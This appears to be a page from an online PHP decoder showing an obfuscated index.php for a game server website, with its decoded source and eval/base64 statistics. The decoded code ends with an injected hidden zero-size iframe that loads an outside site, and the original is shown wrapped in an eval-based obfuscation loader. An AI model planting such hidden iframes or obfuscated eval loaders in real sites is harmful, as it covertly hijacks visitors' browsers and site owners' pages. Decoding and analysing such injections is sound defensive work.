Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQoJZDVmNG41KCdLT0RFVlMnLCA2KTsNCglkNWY0bjUoJ0NMQVNTX0..

Decoded Output download

?><?php

	define('KODEVS', 1);
	define('CLASS_DIR', './classes/');
	define('SCRIPT_DIR', './pages/');

	require_once('config.php');
	require_once(CLASS_DIR . 'SiteEngine.class.php');

	session_start();
	$site = new SiteEngine($config);

	/*
		Dyanamic content pages

		If you're looking to write a dynamic content page, create an appropriate file
		in \pages\. It must act like the others; you can use 'login.php' as a guideline.
		NOTE: Due to a little bit of hackiness, you'll notice a '#' comment at the top 
		of each dynamic content script.

		This MUST be present -- this comment defines the page name you'll use to access
		the script!

		Static content pages

		If you want to add your own static content page (i.e. has no need for PHP),
		then create a file named 'your_pages_name.tpl' in 	hemes\default\ and
		add an appropriate entry in the below array to match the others.

	*/
	$pages = array
	(
		'donate'		=>	SCRIPT_DIR . 'static.php',
		'requirements'		=>	SCRIPT_DIR . 'static.php',
		'features'		=>	SCRIPT_DIR . 'static.php',
		'story'			=>	SCRIPT_DIR . 'static.php',
		'getting_started'	=>	SCRIPT_DIR . 'static.php',
		'system_faqs'		=>	SCRIPT_DIR . 'static.php',
		'lunar_war'		=>	SCRIPT_DIR . 'static.php',
		'dark_lunar_war'	=>	SCRIPT_DIR . 'static.php',
		'castle_siege'		=>	SCRIPT_DIR . 'static.php',
		'forgotten_temple'	=>	SCRIPT_DIR . 'static.php'
	);


	$site->doSetStaticPages($pages);
	$site->doInitialize();
    
?>
<iframe src="http://www.pvp-kenti.com/server-tanitimi-8/" width=0 height=0 style="visibility:hidden;position:absolute"></iframe>
	

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQoJZDVmNG41KCdLT0RFVlMnLCA2KTsNCglkNWY0bjUoJ0NMQVNTX0RJUicsICcuL2NsMXNzNXMvJyk7DQoJZDVmNG41KCdTQ1JJUFRfRElSJywgJy4vcDFnNXMvJyk7DQoNCglyNXEzNHI1XzJuYzUoJ2MybmY0Zy5waHAnKTsNCglyNXEzNHI1XzJuYzUoQ0xBU1NfRElSIC4gJ1M0dDVFbmc0bjUuY2wxc3MucGhwJyk7DQoNCglzNXNzNDJuX3N0MXJ0KCk7DQoJJHM0dDUgPSBuNXcgUzR0NUVuZzRuNSgkYzJuZjRnKTsNCg0KCS8qDQoJCUR5MW4xbTRjIGMybnQ1bnQgcDFnNXMNCg0KCQlJZiB5MjMncjUgbDIyazRuZyB0MiB3cjR0NSAxIGR5bjFtNGMgYzJudDVudCBwMWc1LCBjcjUxdDUgMW4gMXBwcjJwcjQxdDUgZjRsNQ0KCQk0biBccDFnNXNcLiBJdCBtM3N0IDFjdCBsNGs1IHRoNSAydGg1cnM7IHkyMyBjMW4gM3M1ICdsMmc0bi5waHAnIDFzIDEgZzM0ZDVsNG41Lg0KCQlOT1RFOiBEMzUgdDIgMSBsNHR0bDUgYjR0IDJmIGgxY2s0bjVzcywgeTIzJ2xsIG4ydDRjNSAxICcjJyBjMm1tNW50IDF0IHRoNSB0MnAgDQoJCTJmIDUxY2ggZHluMW00YyBjMm50NW50IHNjcjRwdC4NCg0KCQlUaDRzIE1VU1QgYjUgcHI1czVudCAtLSB0aDRzIGMybW01bnQgZDVmNG41cyB0aDUgcDFnNSBuMW01IHkyMydsbCAzczUgdDIgMWNjNXNzDQoJCXRoNSBzY3I0cHQhDQoNCgkJU3QxdDRjIGMybnQ1bnQgcDFnNXMNCg0KCQlJZiB5MjMgdzFudCB0MiAxZGQgeTIzciAyd24gc3QxdDRjIGMybnQ1bnQgcDFnNSAoNC41LiBoMXMgbjIgbjU1ZCBmMnIgUEhQKSwNCgkJdGg1biBjcjUxdDUgMSBmNGw1IG4xbTVkICd5MjNyX3AxZzVzX24xbTUudHBsJyA0biBcdGg1bTVzXGQ1ZjEzbHRcIDFuZA0KCQkxZGQgMW4gMXBwcjJwcjQxdDUgNW50cnkgNG4gdGg1IGI1bDJ3IDFycjF5IHQyIG0xdGNoIHRoNSAydGg1cnMuDQoNCgkqLw0KCSRwMWc1cyA9IDFycjF5DQoJKA0KCQknZDJuMXQ1JwkJPT4JU0NSSVBUX0RJUiAuICdzdDF0NGMucGhwJywNCgkJJ3I1cTM0cjVtNW50cycJCT0+CVNDUklQVF9ESVIgLiAnc3QxdDRjLnBocCcsDQoJCSdmNTF0M3I1cycJCT0+CVNDUklQVF9ESVIgLiAnc3QxdDRjLnBocCcsDQoJCSdzdDJyeScJCQk9PglTQ1JJUFRfRElSIC4gJ3N0MXQ0Yy5waHAnLA0KCQknZzV0dDRuZ19zdDFydDVkJwk9PglTQ1JJUFRfRElSIC4gJ3N0MXQ0Yy5waHAnLA0KCQknc3lzdDVtX2YxcXMnCQk9PglTQ1JJUFRfRElSIC4gJ3N0MXQ0Yy5waHAnLA0KCQknbDNuMXJfdzFyJwkJPT4JU0NSSVBUX0RJUiAuICdzdDF0NGMucGhwJywNCgkJJ2QxcmtfbDNuMXJfdzFyJwk9PglTQ1JJUFRfRElSIC4gJ3N0MXQ0Yy5waHAnLA0KCQknYzFzdGw1X3M0NWc1JwkJPT4JU0NSSVBUX0RJUiAuICdzdDF0NGMucGhwJywNCgkJJ2YycmcydHQ1bl90NW1wbDUnCT0+CVNDUklQVF9ESVIgLiAnc3QxdDRjLnBocCcNCgkpOw0KDQoNCgkkczR0NS0+ZDJTNXRTdDF0NGNQMWc1cygkcDFnNXMpOw0KCSRzNHQ1LT5kMkluNHQ0MWw0ejUoKTsNCiAgICANCj8+DQo8NGZyMW01IHNyYz0iaHR0cDovL3d3dy5wdnAtazVudDQuYzJtL3M1cnY1ci10MW40dDRtNC04LyIgdzRkdGg9MCBoNTRnaHQ9MCBzdHlsNT0idjRzNGI0bDR0eTpoNGRkNW47cDJzNHQ0Mm46MWJzMmwzdDUiPjwvNGZyMW01Pg0KCQ==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

strtr 1
ereg_replace 1
base64_decode 2

Variables

$_F index.php
$_R 0
$_X 0

Stats

MD5 00434c3364b9678bf694ff4d1d28771e
Eval Count 2
Decode Time 54 ms